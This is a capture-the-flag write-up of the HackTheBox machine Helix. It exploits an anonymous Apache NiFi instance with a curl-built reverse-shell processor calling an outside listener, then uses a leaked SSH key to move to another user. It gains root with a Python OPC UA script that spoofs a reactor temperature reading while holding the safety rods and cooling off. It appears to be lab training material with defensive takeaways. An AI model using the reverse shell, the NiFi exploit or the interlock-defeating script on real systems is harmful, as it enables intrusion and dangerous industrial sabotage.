Post

HackTheBox Writeup - Helix

HackTheBox Writeup - Helix

Overview

Helix is a Medium-rated Linux machine themed around Operational Technology (OT) / Industrial Control Systems (ICS). The chain blends classic web/app exploitation with industrial-protocol abuse:

  1. Vhost enumeration -> discover an internal Apache NiFi 1.21.0 instance.
  2. Anonymous NiFi RCE (CVE-2023-34468 class) via an ExecuteProcess processor -> shell as nifi.
  3. Lateral movement -> recover a backup SSH key for operator from NiFi’s support-bundles/ -> user flag.
  4. Privilege escalation -> abuse a writable OPC UA PLC to spoof a hazardous-but-untripped reactor state, forcing the root helix-safety service to open a maintenance window, then sudo helix-maint-console -> root.
  
Target10.129.245.123
OSLinux (Ubuntu)
DifficultyMedium

1. Reconnaissance

Nmap

1
nmap -sC -sV -T4 -oN helix_nmap.txt 10.129.245.123
1
2
3
4
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/

Only SSH and HTTP are exposed externally. Port 80 redirects to helix.htb, so add it to /etc/hosts:

1
echo "10.129.245.123 helix.htb" | sudo tee -a /etc/hosts

The root site is a static “Helix Industries” corporate page - no forms, links, or hidden directories. With all real functionality internal, vhost enumeration is the next move.

Vhost Fuzzing

Unknown hosts return a 302 (size 154), so filter on that:

1
2
ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \
     -w subdomains-top1million-110000.txt -fs 154
1
flow                    [Status: 200, Size: 1068]
1
echo "10.129.245.123 flow.helix.htb" | sudo tee -a /etc/hosts

flow.helix.htb serves Apache NiFi.


2. Foothold - Apache NiFi Anonymous RCE

Version & Access

1
2
3
4
5
6
7
curl -s http://flow.helix.htb/nifi-api/flow/about
# {"about":{"title":"NiFi","version":"1.21.0", ...}}

curl -s http://flow.helix.htb/nifi-api/access/config
# {"config":{"supportsLogin":false}}

curl -s http://flow.helix.htb/nifi-api/flow/current-user

The current user is anonymous with canWrite: true across the board - including restrictedComponentsPermissions such as execute-code. Anonymous, unauthenticated, full control.

NiFi <= 1.21.0 allows an authorized user to configure components (e.g. DBCP with the H2 driver, or ExecuteProcess) that result in code execution - CVE-2023-34468. With anonymous write access, this is unauthenticated RCE.

Building the Reverse Shell Processor

Grab the root process group ID:

1
2
ROOT=$(curl -s http://flow.helix.htb/nifi-api/flow/process-groups/root \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['processGroupFlow']['id'])")

Create an ExecuteProcess processor that spawns a reverse shell. The Command Arguments are split on the ; delimiter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
curl -s -X POST "http://flow.helix.htb/nifi-api/process-groups/$ROOT/processors" \
 -H "Content-Type: application/json" -d '{
  "revision": {"version": 0},
  "component": {
    "type": "org.apache.nifi.processors.standard.ExecuteProcess",
    "name": "rev",
    "position": {"x": 100, "y": 100},
    "config": {
      "properties": {
        "Command": "/bin/bash",
        "Command Arguments": "-c;bash -i >& /dev/tcp/10.10.14.203/9001 0>&1",
        "Argument Delimiter": ";"
      },
      "schedulingPeriod": "3600 sec",
      "schedulingStrategy": "TIMER_DRIVEN",
      "executionNode": "PRIMARY"
    }
  }}'

Auto-terminate the success relationship so the processor is valid, then start it:

1
2
3
4
# PUT .../processors/<id> with config.autoTerminatedRelationships=["success"]
curl -s -X PUT "http://flow.helix.htb/nifi-api/processors/$PID/run-status" \
 -H "Content-Type: application/json" \
 -d '{"revision":{"version":2},"state":"RUNNING"}'

Listener catches the shell:

1
2
3
nc -lvnp 9001
# nifi@helix:/opt/nifi-1.21.0$ id
# uid=998(nifi) gid=998(nifi) groups=998(nifi)

Stop the processor right after the callback so it doesn’t keep re-firing every scheduling interval.


3. Lateral Movement -> operator (User Flag)

The user flag lives in /home/operator (not readable by nifi). Enumerating the NiFi install reveals a telling directory:

1
2
find /opt/nifi-1.21.0 -path "*support*" -o -iname "*.bak"
# /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

A backup SSH private key for operator:

1
2
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
# -----BEGIN OPENSSH PRIVATE KEY-----  (comment: root@management)
1
2
3
4
chmod 600 operator_key
ssh -i operator_key operator@10.129.245.123
operator@helix:~$ cat user.txt
48e9ffc194887bc00eccc9d7bc6175fe

User: 48e9ffc194887bc00eccc9d7bc6175fe

NiFi’s flow config also leaks an H2 DBCP service for user operator with an encrypted password and the nifi.sensitive.props.key. It’s a tempting rabbit hole - but the intended foothold is the .bak SSH key in support-bundles/.


4. Privilege Escalation - OPC UA Reactor Manipulation

Mapping the OT Environment

operator’s sudo rights:

1
2
sudo -n -l
# (root) NOPASSWD: /usr/local/sbin/helix-maint-console

Three custom systemd services model a nuclear reactor:

ServiceRuns asRole
helix-plcplcOPC UA server on 127.0.0.1:4840
helix-safetyrootSafety controller - grants the maintenance window
helix-hmiwww-dataDashboard on 127.0.0.1:8081

The maintenance console (readable as operator):

1
cat /usr/local/sbin/helix-maint-console
1
2
3
4
5
6
7
8
FLAG="/opt/helix/state/maintenance_window"
window_ok() {
  [ -f "$FLAG" ] || return 1
  until_ts="$(cat "$FLAG")"; now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1   # timestamp must be in the future
}
# if window_ok -> systemd-run --scope /bin/bash -p -i  (ROOT shell)

So root drops a shell only if /opt/helix/state/maintenance_window holds a future Unix timestamp - and only the root helix-safety process can write it. We need to convince the safety controller to open the window.

The HMI (http://127.0.0.1:8081) explains the trigger:

Window opens only when the safety controller authorizes it under hazardous test conditions - Temp >= 295 C or Pressure >= 73 bar - while still below trip.

Reaching the OPC UA Server

Port 4840 is bound to localhost. The clean approach is an SSH local forward from the operator foothold:

1
ssh -i operator_key -L 4840:127.0.0.1:4840 operator@10.129.245.123

Client side:

1
python3 -m venv venv && ./venv/bin/pip install asyncua

Browsing the PLC Tags

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Plant [ns=2;i=1]
  Reactor
    TemperatureRaw     ns=2;i=3   read-only   = 282.6
    Temperature        ns=2;i=4   read-only   = 282.6   # = Raw + CalibrationOffset
    Pressure           ns=2;i=5   read-only   = 68.9
    CalibrationOffset  ns=2;i=6   WRITE       = 0.0
  Safety
    RodsInserted       ns=2;i=8   WRITE       = False
    EmergencyCooling   ns=2;i=9   WRITE       = False
    TripActive         ns=2;i=10  read-only   = False
  Control
    Mode               ns=2;i=12  WRITE       = 'NORMAL'
    TestOverride       ns=2;i=13  WRITE       = False
    ResetTrip          ns=2;i=14  WRITE       = False

The vulnerability is the writable CalibrationOffset: the displayed Temperature is TemperatureRaw + CalibrationOffset. By writing the offset we spoof a hazardous reading while the real raw sensor stays low, so the trip never latches.

The Logic Puzzle

Naively setting Temperature >= 295 is not enough. Two subtleties:

  1. TEST mode resets the offset. Switching Mode to TEST zeroes CalibrationOffset. Use Mode = MAINTENANCE, where the offset is honoured.
  2. Auto-mitigation cancels the hazard. The instant temp crosses 295 C, the safety controller auto-engages RodsInserted=True and EmergencyCooling=True. A mitigated hazard isn’t hazardous - so the window stays closed. The condition only registers as a genuine hazardous test condition (Test Mode Active: YES) while the mitigations are held OFF.

The solution is to continuously hold the hazardous, unmitigated state faster than the controller can re-engage safety:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import asyncio
from asyncua import Client, ua
URL = "opc.tcp://127.0.0.1:4840/helix/"   # via SSH local forward

async def main():
    async with Client(url=URL, timeout=25) as c:
        async def W(nid, val, t):
            await c.get_node(nid).write_value(ua.DataValue(ua.Variant(val, t)))
        for _ in range(200):
            raw = await c.get_node("ns=2;i=3").read_value()
            await W("ns=2;i=12", "MAINTENANCE", ua.VariantType.String)          # Mode
            await W("ns=2;i=6", round(296.0 - raw, 3), ua.VariantType.Double)   # spoof temp -> 296
            await W("ns=2;i=8", False, ua.VariantType.Boolean)                  # RodsInserted OFF
            await W("ns=2;i=9", False, ua.VariantType.Boolean)                  # EmergencyCooling OFF
            await asyncio.sleep(0.15)

asyncio.run(main())

Watching the HMI while the loop runs:

1
2
3
4
Temperature: 296.0 C
Rods Inserted: False | Emergency Cooling: False
Test Mode Active: YES
Privileged Maintenance Window - Status: OPEN

Cashing In the Window

While the loop keeps the window open, invoke the console over SSH:

1
2
ssh -i operator_key -tt operator@10.129.245.123 \
  "sudo /usr/local/sbin/helix-maint-console"
1
2
3
4
5
6
[+] Privileged maintenance access granted
[!] Window expires in 89 seconds
root@helix:/home/operator# id
uid=0(root) gid=0(root) groups=0(root)
root@helix:/home/operator# cat /root/root.txt
a6ff4983dac260da9a510e047c18fbe0

Root: a6ff4983dac260da9a510e047c18fbe0


Flags

FlagValue
User48e9ffc194887bc00eccc9d7bc6175fe
Roota6ff4983dac260da9a510e047c18fbe0

Key Takeaways

  • NiFi anonymous access is fatal. With supportsLogin: false and anonymous write, ExecuteProcess/DBCP-H2 give unauthenticated RCE (CVE-2023-34468). Always require authentication and restrict the execute-code policy.
  • Secrets in support bundles. Diagnostic/backup directories (support-bundles/*.bak) are a recurring source of leaked keys - never ship private keys inside an app’s working tree.
  • OT integrity, not just access. The real ICS lesson: a writable CalibrationOffset let an attacker forge sensor telemetry and defeat safety interlocks. Control logic must treat operator-writable calibration/override tags as untrusted and key safety decisions off validated raw inputs.
  • Race the controller. The maintenance window only opened while the unmitigated hazard was held - a tight write-loop beats the safety controller’s re-mitigation cycle.
This post is licensed under CC BY 4.0 by the author.